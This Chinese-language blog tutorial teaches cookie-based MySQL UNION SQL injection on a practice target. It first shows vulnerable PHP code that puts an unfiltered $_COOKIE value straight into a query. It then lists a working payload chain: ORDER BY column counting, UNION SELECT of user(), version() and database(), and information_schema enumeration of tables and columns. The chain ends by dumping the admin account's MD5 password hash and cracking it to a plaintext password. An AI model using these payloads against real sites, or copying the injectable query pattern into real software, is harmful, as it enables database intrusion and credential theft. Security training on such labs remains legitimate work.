mysql cookie联合注入
mysql cookie联合注入
1. 前置知识
- cookie简介:
- Cookie 是个存储在浏览器本地的一种文本文件,它主要是用来解决http协议的无状态问题。由网络服务器发送出来以存储在浏览器上,当那个网络服务器再次访问时,可从该浏览器读回此信息。
- cookie注入的原理(这里以php代码讲解)
- 如你所看,其实所谓的cookie注入,与GET和POST注入的原理在本质是一样的,只是服务器端接收payload代码的方式不一样而已,
- cookie注入的话,服务器端是由 $_COOKIE 全局变量来接收cookie值(即:我们的payload代码)的。
- GET注入的话,服务器端是由 $_GET 全局变量来接收cookie值(即:我们的payload代码)的。
- POST注入的话,服务器端是由 $_POST 全局变量来接收cookie值(即:我们的payload代码)的。
- cookie注入产生的条件:
- 没有对由 $_COOKIE 全局变量传递的参数做过滤。
- 由$_COOKIE全局变量传递的参数作为了sql语句中的一部分
//$username=$_GET['user'];//接受GET传递的参数名x的值并赋值给变量id //$username=$_POST['user'];//接受POST传递的参数名x的值并赋值给变量id $username=$_COOKIE['user'];//接受cookie传递的参数名x的值并赋值给变量id $conn=mysql_connect('127.0.0.1','root','root');//连接数据库并赋值连接请求给变量conn mysql_select_db("mydata",$conn);//选择连接请求conn下的数据库mydata $sql="select * from users where username='$username'";//接受的变量id组合sql语句 $result=mysql_query($sql);//执行sql命令并返回结果给变量result while($row=mysql_fetch_array($result)){//将结果进行显示 echo"用户ID∶".$row['id']."<br>"; echo"用户名∶".$row['username']."<br>"; echo"密 码∶".$row['password']."<br>"; } mysql_close($conn);//关闭数据库连接 echo "当前执行的sq语句∶".$sql;//输出sql命令
- 如你所看,其实所谓的cookie注入,与GET和POST注入的原理在本质是一样的,只是服务器端接收payload代码的方式不一样而已,
- 在下面的实战演示中,为了方便设置cookie的值,我使用了火狐的一个插件:cookie editor
2. 注入流程
- 判断注入点
- 判断当前注入点的字段数
- 确定显示位
- 查询当前登录用户
- 查询当前数据库版本信息
- 查询当前数据库名
- 查询存在多少表名
- 查询表名
- 查询字段数量
- 查询字段名
- 查询账号与密码
3. 注入演示
3.1 判断注入点
- payload:
CNY --页面返回正常 CNY" --页面返回出错
- 说明存在注入点,且为字符型注入
- 说明存在注入点,且为字符型注入
3.2 判断当前注入点的字段数
- payload:
CNY" order by 6 %23 --页面返回正常 CNY" order by 7 %23 --页面返回失败
- 说明当前注入点的字段数为 6
- 说明当前注入点的字段数为 6
3.3 确定显示位
- payload:
CNY" and 1=2 union select 1,2,3,4,5,6 %23
- 3号位为显示位
- 3号位为显示位
3.4 查询当前登录用户
- payload:
CNY" and 1=2 union select 1,2,user(),4,5,6 %23
- 当前登录的用户和主机为: test@localhost
- 当前登录的用户和主机为: test@localhost
3.5 查询当前数据库版本信息
- payload:
CNY" and 1=2 union select 1,2,version(),4,5,6 %23
- 当前数据库的版本信息为:5.0.51b-community-nt-log
- 当前数据库的版本信息为:5.0.51b-community-nt-log
3.6 查询当前数据库名
- payload:
CNY" and 1=2 union select 1,2,database(),4,5,6 %23
- 当前数据库名为:shopex
- 当前数据库名为:shopex
3.7 查询存在多少表名
- payload:
CNY"and 1=2 union select 1,2,count(*),4,5,6 from information_schema.tables where table_schema='shopex' %23
- 可当前数据库存在103张表!!!
- 可当前数据库存在103张表!!!
3.8 查询表名
- payload:
CNY"and 1=2 union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema='shopex' %23
- 我们发现这里的表名并没有显示完全,我也不清楚这是怎么回事,按道理不应该这样,可能是靶场的问题吧。当然,如果实在是没办法的话,可以使用 limit 子句慢慢的筛选。。。
- 这里我就直接说了,我们所需的表名为:sdb_operators
3.9 查询字段数量
- payload:
CNY"and 1=2 union select 1,2,count(*),4,5,6 from information_schema.columns where table_name='sdb_operators' %23
- sdb_operators表的字段数量为:15
- sdb_operators表的字段数量为:15
3.10 查询字段名
- payload:
CNY"and 1=2 union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name='sdb_operators' %23
- 经分析可知,我们所需的字段名为:username,userpass
- 经分析可知,我们所需的字段名为:username,userpass
3.11 查询账号与密码
- payload:
CNY"and 1=2 union select 1,2,username,4,5,6 from sdb_operators %23 CNY"and 1=2 union select 1,2,userpass,4,5,6 from sdb_operators %23
- 账号密码:admin/e10adc3949ba59abbe56e057f20f883e
- 经MD5解密:admin/123456
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统